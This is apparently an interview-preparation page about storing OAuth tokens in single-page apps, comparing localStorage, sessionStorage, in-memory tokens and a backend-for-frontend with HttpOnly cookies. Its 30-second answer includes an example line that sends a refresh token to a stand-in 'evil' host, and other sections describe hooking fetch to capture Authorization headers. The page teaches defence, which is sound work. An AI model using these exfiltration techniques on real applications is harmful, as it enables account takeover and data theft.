📁 Sangam Dhakal - Portfolio v2.0 - Netscape Navigator 4.0
_
□
×

📚 Interview question

Your React SPA signs users in with OpenID Connect and keeps the access token and refresh token in localStorage. From the browser's point of view, what can an XSS payload or a malicious npm package actually do with them? How much safer are in-memory tokens or sessionStorage, and why do current guidelines recommend a backend-for-frontend with an HttpOnly cookie instead?

Token storage in SPAs from the browser's side: what injected script can do with tokens in localStorage, sessionStorage or memory, why in-memory tokens only narrow the window, and why the BFF pattern with HttpOnly SameSite cookies is the current recommendation.

Mid-Level Security Intermediate bff frontend oauth2 spa token-storage xss

🎯 Key points

  • Any script on the origin can read localStorage and sessionStorage: XSS or a compromised dependency exfiltrates tokens in one line
  • Stolen refresh token = long-lived access from the attacker's machine, invisible to the user
  • In-memory tokens survive no reload and are harder to read, but injected script can still call the API as the user or hook fetch
  • Refresh token rotation with reuse detection and short access-token lifetimes limit, but do not remove, the damage
  • BFF: tokens stay on the server; the browser holds only an HttpOnly, Secure, SameSite cookie script cannot read
  • With a BFF, XSS can still act as the user while the page is open, but cannot steal credentials for later use
  • BFF needs CSRF protection (SameSite + custom header or antiforgery) and same-origin hosting
  • IETF 'OAuth 2.0 for Browser-Based Applications' guidance ranks BFF first; prevent XSS anyway with CSP and safe rendering

⏱ 30-second answer

Anything in localStorage or sessionStorage is readable by any JavaScript on the origin. One XSS bug or one compromised npm dependency can run fetch('https://evil', {body: localStorage.refresh_token}), and the attacker now has a refresh token that works from their own machine for days. sessionStorage only shortens the lifetime; in-memory tokens make theft harder, but injected script can still hook fetch or call your API as the user.

The backend-for-frontend (BFF) pattern removes tokens from the browser: a server-side component on the same origin does the OIDC flow, keeps tokens server-side, and gives the browser an HttpOnly, Secure, SameSite session cookie. XSS can still misuse the open session, but it cannot steal credentials to use later. The trade-off is a server component and CSRF protection in exchange for removing the most damaging failure mode.

🗣 Full answer (senior)

How I would answer this in an interview

"The key fact is that the browser has no private storage for JavaScript. localStorage and sessionStorage belong to the origin, so every script running on that origin can read them: our code, our analytics snippet, every npm package in the bundle, and any script an attacker manages to inject. If the refresh token is in localStorage, an XSS payload is one line: read it and post it to the attacker's server. From then on they can mint access tokens from their own laptop until the refresh token expires or is revoked, and the user never sees anything.

In-memory storage, meaning a variable inside a closure or a Web Worker, is better: nothing survives in storage and a casual payload can't just read a key. But it's not a security boundary. Injected script runs in the same page; it can monkey-patch fetch to capture the Authorization header, or simply call the API itself while the user is on the page. For example, on [project] a pen test found a DOM XSS in a rich-text preview. Because tokens were in localStorage, the tester could demonstrate account takeover that persisted after the user logged out. After we moved to a BFF, the same bug only allowed actions during the open session, and the finding dropped from [critical] to [medium] while we fixed the XSS.

That's why the IETF's browser-based apps guidance and Microsoft's docs now put the BFF first. The SPA talks only to its own backend, the backend holds the tokens and attaches them when it forwards calls, and the browser holds an HttpOnly, Secure, SameSite cookie it cannot read. The mistake I see is treating BFF as the end of the story. You still need CSRF protection because cookies are sent automatically, and you still need CSP and safe rendering, because XSS with a BFF is still XSS. The BFF changes 'attacker owns the account' into 'attacker can act while the tab is open'."


What injected script can do

Storage Readable by injected JS? Survives reload/tabs Theft for later use? Can act as user now?
localStorage Yes, trivially Yes, forever Yes Yes
sessionStorage Yes, trivially Tab only Yes, while tab is open Yes
In-memory (closure/worker) Harder, via hooks No Possible by hooking fetch Yes
HttpOnly cookie (BFF) No Per cookie expiry No Yes, while page is open

Options compared

Approach Security Cost Fits
Tokens in localStorage Weakest Simplest Nothing handling personal data
In-memory + refresh via hidden iframe or rotation Medium Silent renew breaks with third-party cookie blocking Public client with low risk
BFF with HttpOnly cookie Strongest for browsers A server component, CSRF defences Recommended default

Australian context

A stolen refresh token that exposes customer records can be an eligible data breach under the Notifiable Data Breaches scheme (Privacy Act 1988), so storage choices are not just engineering taste.

Production example

On a customer portal with [about 50,000] users, moving from localStorage tokens to a BFF removed tokens from the browser entirely; access-token lifetime stayed at 10 minutes server-side, and the next penetration test reported no token-theft finding.

🔍 What the interviewer is checking

Checks whether the candidate understands browser trust boundaries well enough to make and defend a token-storage decision.

Green flags

  • States that all scripts on an origin share storage, including dependencies
  • Distinguishes stealing credentials for later from acting in-session
  • Explains why in-memory tokens are better but not sufficient
  • Describes the BFF with HttpOnly SameSite cookies and the CSRF it introduces
  • Still insists on CSP and XSS prevention

Red flags

  • Says localStorage is fine because 'we have no XSS'
  • Thinks HTTPS protects tokens from script
  • Believes a BFF makes XSS harmless
  • Forgets CSRF once cookies are introduced

📚 Learn in depth

1. The browser's trust model

The same-origin policy isolates origins from each other, not scripts within one origin. Every script tag, every bundle chunk and every injected payload runs with identical rights: same DOM, same storage, same cookies-sent-with-fetch.

https://app.example.com.au
  ├─ your bundle            ┐
  ├─ analytics snippet      │  all share: DOM, localStorage,
  ├─ 400 npm dependencies   │  sessionStorage, fetch, cookies (non-HttpOnly)
  └─ injected XSS payload   ┘

2. Attack paths

  • Reflected, stored or DOM XSS: untrusted data rendered as HTML (dangerouslySetInnerHTML, innerHTML, unsafe Markdown).
  • Supply chain: a compromised package version runs at build or in the browser.
  • Browser extensions with page access.

Exfiltration is a single request; CSP connect-src can block unknown destinations, which is a useful extra layer.

3. Why in-memory is not enough

An attacker's script can replace window.fetch before your code runs its next request, read the Authorization header and send it away. It can also call /oauth/token itself if the refresh token is reachable. In-memory storage defeats lazy payloads, not targeted ones. Silent renew via hidden iframes relies on the identity provider's cookie in a third-party context, which browsers increasingly block.

4. How the BFF changes the picture

Browser (SPA) ── cookie: __Host-bff (HttpOnly, Secure, SameSite=Strict) ──► BFF (same origin)
                                                                         │ holds access + refresh tokens
                                                                         ▼
                                                         API ◄── Authorization: Bearer ...

The BFF is a confidential client: it authenticates to the identity provider with a secret or certificate, uses the code flow with PKCE, and refreshes tokens server-side. The browser never sees a token. Injected script can still send requests (the cookie goes automatically), so XSS remains serious, but the session ends when the cookie is cleared or expires, and the server can revoke it.

5. What the BFF adds

  • CSRF: cookies are sent automatically, so require a custom header (X-CSRF: 1) that cross-site forms cannot set without a preflight, and use SameSite=Strict or Lax.
  • Session management: server-side session store (or encrypted cookie plus token cache), logout that revokes tokens.
  • Same origin: the BFF must share the SPA's origin.

6. Reducing damage regardless of storage

Short access-token lifetimes (5 to 15 minutes), refresh token rotation with reuse detection, sender-constrained tokens (DPoP) where supported, a strict CSP, Trusted Types, and dependency scanning (npm audit, Dependabot, lockfiles).

Try it yourself

  1. Put a fake token in localStorage, then run fetch('https://example.org', {method:'POST', body: localStorage.token, mode:'no-cors'}) in the console and see it leave in the Network tab.
  2. Set a cookie with HttpOnly from ASP.NET Core and confirm document.cookie cannot see it.
  3. Override window.fetch in the console and watch it capture an Authorization header from your app's next call.
  4. Add a CSP with a strict connect-src and repeat exercise 1.
  5. Read the IETF draft 'OAuth 2.0 for Browser-Based Applications' and list the architectures in its recommended order.

💻 Code

The contrast: tokens in localStorage versus a BFF session where the SPA only sends cookies and a CSRF header.

// Before: tokens readable by any script on the origin.
localStorage.setItem("access_token", tokens.access_token);
localStorage.setItem("refresh_token", tokens.refresh_token); // one XSS = long-lived account takeover

await fetch("https://api.example.com.au/orders", {
  headers: { Authorization: `Bearer ${localStorage.getItem("access_token")}` },
});
// After: the SPA holds no tokens. Same-origin calls; the HttpOnly cookie goes automatically.
export async function bff<T>(path: string, init: RequestInit = {}): Promise<T> {
  const res = await fetch(`/api${path}`, {
    ...init,
    credentials: "same-origin",
    headers: { "X-CSRF": "1", "Content-Type": "application/json", ...init.headers }, // CSRF guard
  });
  if (res.status === 401) {
    window.location.href = `/bff/login?returnUrl=${encodeURIComponent(location.pathname)}`;
    throw new Error("Signed out");
  }
  if (!res.ok) throw new Error(`HTTP ${res.status}`);
  return res.json();
}
// BFF side (.NET 10): reject state-changing calls without the custom header.
// A cross-site form cannot add X-CSRF, and cross-origin fetch with it needs a preflight we never allow.
var app = WebApplication.CreateBuilder(args).Build();

app.Use(async (ctx, next) =>
{
    if (ctx.Request.Path.StartsWithSegments("/api") && !ctx.Request.Headers.ContainsKey("X-CSRF"))
    {
        ctx.Response.StatusCode = StatusCodes.Status401Unauthorized;
        return;
    }
    await next(ctx);
});

app.MapGet("/api/ping", () => TypedResults.Ok(new { ok = true }));
app.Run();

⚠ Common mistakes

  • Mistake: Storing refresh tokens in localStorage. Why it is wrong: Any injected script can steal a credential that works for days from anywhere. Instead: Keep refresh tokens server-side in a BFF.
  • Mistake: Believing sessionStorage is secure because it is per tab. Why it is wrong: It is just as readable by script; it only shortens persistence. Instead: Treat it like localStorage for security purposes.
  • Mistake: Treating in-memory tokens as XSS-proof. Why it is wrong: Injected code can hook fetch or act directly. Instead: Use in-memory only as a fallback, with short lifetimes, and prefer a BFF.
  • Mistake: Thinking a BFF makes XSS harmless. Why it is wrong: Injected script still rides the open session: it can call every API the user can (export customer data, change the payout account, read whatever the page renders) because the HttpOnly cookie is sent automatically. Instead: Keep CSP, output encoding, Trusted Types and dependency hygiene, and add step-up authentication for high-risk actions.
  • Mistake: Focusing only on token theft when rating an XSS finding. Why it is wrong: Data on screen and in API responses can be read and exfiltrated during the session even when credentials are safe, which can still be a notifiable breach. Instead: Rate XSS by what the user can see and do, and fix the injection itself.
  • Mistake: Adding a cookie-based BFF without CSRF defences. Why it is wrong: Cookies are sent automatically on cross-site requests. Instead: SameSite=Strict/Lax plus a required custom header or antiforgery token.
  • Mistake: Putting tokens in a non-HttpOnly cookie. Why it is wrong: JavaScript can read it, so it combines CSRF exposure with XSS theft. Instead: HttpOnly, Secure, SameSite, with the __Host- prefix.
  • Mistake: Long-lived access tokens to avoid refresh complexity. Why it is wrong: A stolen token stays valid for hours. Instead: 5 to 15 minute access tokens, refresh server-side.

🏛 Senior insight: trade-offs

The question is really about what an attacker gets after one XSS bug, because over a product's life you should assume one will happen. Tokens in browser storage turn that bug into persistent account takeover and potentially a notifiable breach; a BFF turns it into in-session misuse that ends with the tab. That difference justifies the extra server component for anything handling personal or financial data. But be explicit that in-session misuse is still serious: an injected script can act as the user and read everything the user can, so the BFF is one layer, not the fix. The fix for XSS is preventing it: framework encoding (React and Razor escape by default), no dangerouslySetInnerHTML without a sanitiser, a strict nonce-based CSP with a tight connect-src, Trusted Types, Subresource Integrity for third-party scripts, and dependency scanning. For high-risk actions (changing bank details, exporting data) add step-up authentication so a hijacked session cannot complete them alone.

I would not build a BFF from scratch casually. Options in .NET (checked November 2026): Duende BFF (v4, commercial annual licence, with a free community edition for qualifying small organisations), or a hand-rolled BFF using ASP.NET Core cookie + OpenID Connect authentication, SaveTokens and YARP, which Microsoft documents in its Blazor and SPA guidance. Measure success by what a pen tester can do with an injected script, not by where tokens sit.

Option When it fits Cost When not to
Tokens in browser storage Throwaway demos Theft risk Anything with real users' data
In-memory tokens No server component possible, low-risk data Silent renew fragility, still exposed to targeted XSS Regulated or personal data
BFF (hand-rolled) Team comfortable with OIDC and YARP Build and maintain token refresh, logout, CSRF Small team without auth expertise
BFF (Duende) Want a supported, tested implementation Licence fee above community thresholds Strict no-commercial-dependency policies
XSS defence layer What it stops
Encoding / sanitising The injection itself
CSP + Trusted Types Most script execution and exfiltration paths
BFF (no tokens in browser) Credential theft for later use
Step-up auth on risky actions Silent high-impact actions in a hijacked session

🔗 Follow-ups the interviewer may ask

  1. When: Candidate mentions refresh token rotation or token lifetimes. Why: Checks rotation, reuse detection and lifetimes in depth.
    How to answer

    A refresh token lets a client get new short-lived access tokens without asking the user to sign in again. Because it is long-lived, it is the most valuable token to steal.

    • Rotation: every refresh returns a new refresh token and invalidates the old one. Reuse detection: if an old one is used again, someone has a copy, so the server revokes the whole token family.
    • Lifetimes: access tokens 5–15 minutes; refresh tokens bounded by an idle timeout and an absolute session limit.
    • Storage: in a SPA, anything JavaScript can read, XSS can steal. The BFF pattern keeps tokens on the server and gives the browser only an HttpOnly, Secure, SameSite cookie.

    The trade-off: a BFF adds a server hop and session state, in exchange for tokens that never reach the browser.

  2. When: Candidate says the real fix is preventing XSS. Why: Checks XSS types, encoding in React and Razor, and CSP.
    How to answer

    XSS is when attacker-controlled input is rendered as script in your page, so it runs in your origin with the victim's session: it can read the DOM, call your API as the user and steal tokens kept in localStorage. Stored XSS is saved and served to other users; reflected echoes request input back; DOM-based happens entirely in client-side JavaScript (innerHTML, location.hash).

    Razor's @ HTML-encodes by default, which stops most of it. The gaps are the escape hatches (Html.Raw, HtmlString, React's dangerouslySetInnerHTML, Blazor's MarkupString) and wrong contexts: HTML encoding doesn't make a value safe inside a <script> block or an href="javascript:...". Rich text needs an allow-list sanitiser. A CSP with nonces is the safety net, not the fix.

  3. When: Candidate moves to cookie-based sessions. Why: Checks CSRF mechanics, antiforgery and SameSite limits.
    How to answer

    CSRF makes a victim's browser send a state-changing request to your site from another site; it works because the browser attaches cookies automatically. If you authenticate with cookies, you're exposed; if callers send a bearer token in the Authorization header, a cross-site page can't add it, so classic CSRF doesn't apply.

    ASP.NET Core's antiforgery uses a synchroniser token: a cookie token plus a token in the form or a header, validated together. MVC forms get it from the form tag helper with [ValidateAntiForgeryToken] or the global auto-validate filter; Razor Pages validate POSTs by default; Minimal APIs need AddAntiforgery/UseAntiforgery and validate form-bound endpoints. SameSite=Lax (the default for ASP.NET Core auth cookies) blocks most cross-site POSTs, but not attacks from a sibling subdomain or GETs that change state, so keep tokens.

🛠 Real-world problems: how you handle them

Pen test turns a DOM XSS into persistent account takeover
Situation
A React customer portal for [an Australian insurer] with [about 50,000] users, tokens from Entra External ID stored in localStorage, refresh tokens valid for [14 days].
Signals
The annual penetration test reported a critical finding: a DOM XSS in the claim-notes preview allowed reading `localStorage` and replaying the refresh token from the tester's machine after the victim had logged out.
Investigation
Reproduced in dev tools: the preview used `dangerouslySetInnerHTML` on Markdown output without sanitising. Confirmed in the Application tab that both tokens sat in localStorage, and in the identity provider logs that refresh grants succeeded from a new IP and device. Reviewed CSP: none was set, so exfiltration to any domain worked.
Resolution
Immediately: sanitised the preview with DOMPurify, shortened refresh token lifetime, enabled rotation with reuse detection and revoked all sessions. Properly: introduced a BFF on the same origin (cookie + OIDC + YARP), removed all token handling from the SPA, added a strict CSP with `connect-src 'self'`.
Prevention
ESLint rule flagging `dangerouslySetInnerHTML`; Playwright test asserting no tokens in Web Storage after sign-in; CSP violation reports to Application Insights; dependency scanning in CI; ADR recording the BFF decision.

How to tell it (STAR)

**S:** On [project], a customer portal for [about 50,000] users, the pen test found a DOM XSS that let the tester steal refresh tokens from localStorage and keep access after logout. **T:** I led the remediation, both the urgent fix and the design change. **A:** We sanitised the vulnerable preview the same day, enabled refresh token rotation and revoked every session. Then I proposed and built a BFF on the same origin with ASP.NET Core cookie and OIDC authentication plus YARP, removed tokens from the SPA, added a custom-header CSRF guard and a strict CSP. **R:** The retest rated the remaining XSS risk [medium] instead of critical, no tokens are reachable from JavaScript, and CSP reports have since caught [N] unexpected script sources.

More in SPA Integration

Last updated 23 Nov 2026.

🌐 Sangam's Webring

⏪ Previous 🏠 Main Next ⏩
💬 Chat with me